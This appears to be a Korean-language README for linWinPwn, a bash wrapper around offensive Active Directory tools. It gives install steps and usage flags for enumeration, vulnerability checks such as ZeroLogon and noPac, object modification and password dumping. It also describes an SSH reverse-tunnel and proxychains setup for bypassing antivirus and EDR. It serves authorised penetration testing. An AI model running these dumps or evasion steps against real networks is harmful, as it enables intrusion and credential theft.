
Active Directory 도구를 래핑하여 LDAP, RPC, Kerberos 및 SMB를 통해 자동화된 열거, 취약점 점검, 익스플로잇 및 비밀번호 덤프를 수행하는 Bash 스크립트.
linWinPwn은 열거(LDAP, RPC, ADCS, MSSQL, Kerberos, SCCM), 취약점 검사(noPac, ZeroLogon, MS17-010, MS14-068), 개체 수정(암호 변경, 사용자를 그룹에 추가, RBCD, Shadow Credentials) 및 암호 덤프(secretsdump, lsassy, nanodump, DonPAPI)를 위해 여러 Active Directory 도구를 래핑하는 bash 스크립트입니다. 이 스크립트는 impacket, bloodhound, netexec, enum4linux-ng, ldapdomaindump, lsassy, smbmap, kerbrute, certipy, silenthound, bloodyAD, DonPAPI 등 많은 도구의 사용을 간소화합니다.
저장소를 Git 클론하고 install.sh 스크립트를 사용하여 요구 사항을 설치합니다.
git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn
chmod +x install.sh
./install.sh
또는 Docker Hub에서 미리 빌드된 Docker 이미지를 사용합니다.
docker pull lefayjey/linwinpwn:latest
# Add linWinPwn_docker to PATH
echo -e "docker run --rm --init -it --net=host -v \$(pwd):/opt/lwp-output lefayjey/linwinpwn:latest \$@" | sudo tee "/usr/local/sbin/linWinPwn_docker"
sudo chmod 755 /usr/local/sbin/linWinPwn_docker
# Run linWinPwn_docker (output to host's current directory)
linWinPwn_docker -t <DC_IP>
linWinPwn_docker -t <DC_IP> -d <domain> -u <user> -p <password> --auto
또는 소스에서 빌드합니다.
docker build -t linwinpwn .
docker run --rm --init -it --net=host -v $(pwd):/opt/lwp-output linwinpwn -t <DC_IP>
linWinPwn 스크립트는 대화형 모드(기본값) 또는 자동 모드(열거 전용)로 실행할 수 있습니다.
1. 대화형 모드(기본값) - 개별적으로 검사를 실행할 대화형 메뉴를 엽니다.
linWinPwn -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]> -o <output_dir>]
2. 자동 모드 - --auto 매개변수를 사용하여 열거 도구를 실행합니다(악용, 수정 또는 암호 덤프 없음).
자동 모드를 사용할 경우 인증 방법에 따라 다른 검사가 수행됩니다.
linWinPwn -t <Domain_Controller_IP> --auto [-o <output_dir>]
linWinPwn -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] --auto
자동 구성 - 모듈을 실행하기 전에 대상 DC와 NTP 동기화를 실행하고 /etc/hosts에 항목을 추가합니다.
linWinPwn -t <Domain_Controller_IP> --auto-config
LDAPS - LDAP 대신 LDAPS 사용(포트 636)
linWinPwn -t <Domain_Controller_IP> --ldaps
Kerberos 인증 강제 - 가능한 경우 NTLM 대신 Kerberos 인증 강제 사용
linWinPwn -t <Domain_Controller_IP> --force-kerb
상세 - 모든 상세 및 디버그 출력 활성화
linWinPwn -t <Domain_Controller_IP> --verbose
인터페이스 - 공격자의 네트워크 인터페이스 선택
linWinPwn -t <Domain_Controller_IP> -I tun0
linWinPwn -t <Domain_Controller_IP> --interface eth0
대상 - 스캔할 대상 선택 (DC, All, IP=IP_or_hostname, File=./path_to_file)
linWinPwn -t <Domain_Controller_IP> --targets All
linWinPwn -t <Domain_Controller_IP> --targets DC
linWinPwn -t <Domain_Controller_IP> -T IP=192.168.0.1
linWinPwn -t <Domain_Controller_IP> -T File=./list_servers.txt
사용자 정의 워드리스트 - 사용자 정의 사용자 및 암호 워드리스트 선택
linWinPwn -t <Domain_Controller_IP> -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
linWinPwn -t <Domain_Controller_IP> -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt
linWinPwn은 제한된 시간 동안만 Active Directory 환경에 액세스할 수 있고 열거 프로세스와 증거 수집에서 더 효율적이기를 원할 때 특히 유용할 수 있습니다. 또한 linWinPwn은 생성된 아티팩트(예: PowerShell 명령, Windows 이벤트, 디스크에 생성된 파일)의 수를 줄이고 특정 안티바이러스 또는 EDR을 우회하기 위해 Windows에서 열거 도구 사용을 대체할 수 있습니다. 이는 Windows 호스트(예: VDI 머신, 워크스테이션 또는 노트북)에서 원격 Linux 머신(예: 펜테스트 노트북 또는 VPS)으로 SSH 터널을 생성하여 원격 동적 포트 포워딩을 수행하고 proxychains와 함께 linWinPwn을 실행함으로써 달성할 수 있습니다.
Windows 호스트에서 PowerShell을 사용하여 실행:
ssh.exe kali@<linux_machine> -R 1080 -NCqf
Linux 머신에서 먼저 /etc/proxychains4.conf를 업데이트하여 socks5 127.0.0.1 1080을 포함시킨 후 실행:
linWinPwn_proxychains -t <Domain_Controller_IP> -d <AD_domain> -u <AD_user> [-p <AD_password> -H <hash[LM:NT]> -K <kerbticket[./krb5cc_ticket]> -A <AES_key> -C <cert[./cert.pfx]>] [-o <output_dir>] [--auto]